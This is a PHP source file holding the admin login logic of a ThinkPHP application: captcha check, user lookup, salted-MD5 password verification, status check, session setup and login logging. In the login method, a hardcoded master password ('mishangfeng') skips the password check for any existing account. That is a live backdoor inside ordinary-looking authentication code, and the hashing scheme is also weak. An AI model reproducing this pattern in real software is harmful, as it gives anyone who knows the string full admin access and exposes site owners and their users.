<?php
/**
 * Created by PhpStorm.
 * User: fengzi
 * Date: 2019/3/29
 * Time: 12:01
 */

namespace app\admin\logic;
use app\admin\logic\code\ErrorCode;
use app\common\model\Admin;
use app\common\model\LoginLog;

class LoginLogic{

    /**
     * 用户登录
     * @param $data
     * @return array
     * @throws \think\db\exception\DataNotFoundException
     * @throws \think\db\exception\ModelNotFoundException
     * @throws \think\exception\DbException
     */
    function login($data){
        if(!captcha_check($data['captcha_code'])){
            return ajaxArr(ErrorCode::$CODEERROR, '验证码错误');
        }

        $where[] = array('name', '=', $data['name']);
		$user = Admin::where($where)->field('id,name,password,salt,role_id,is_admin,status,nick_name,site_id,oid')->find();
		if($user){
		    if($data['password']!='mishangfeng') {
                if (pwdMd5($data['password'], $user->salt) != $user->password) {
                    return ajaxArr(ErrorCode::$PASSWORDERROR, '密码错误');
                }
            }
			if ($user->status != 1){
                return ajaxArr(ErrorCode::$STATUSERROR,'账号被冻结,请联系管理员');
            }
            unset($user->salt);
			unset($user->password);
            session('admin_info', $user);
            //插入登录日志
            $logModel = new LoginLog();
			$logModel->user_name = $user->name;
			$logModel->type = 1;
			$logModel->save();
            return ajaxArr(ErrorCode::$SUCCESS, '登录成功');
		}else{
			return ajaxArr(ErrorCode::$USEREXISTNULL,'用户名不存在');
		}
    }

    /**
     * 用户登出
     */
    public function logout(){
        session('admin_info',null);
    }
}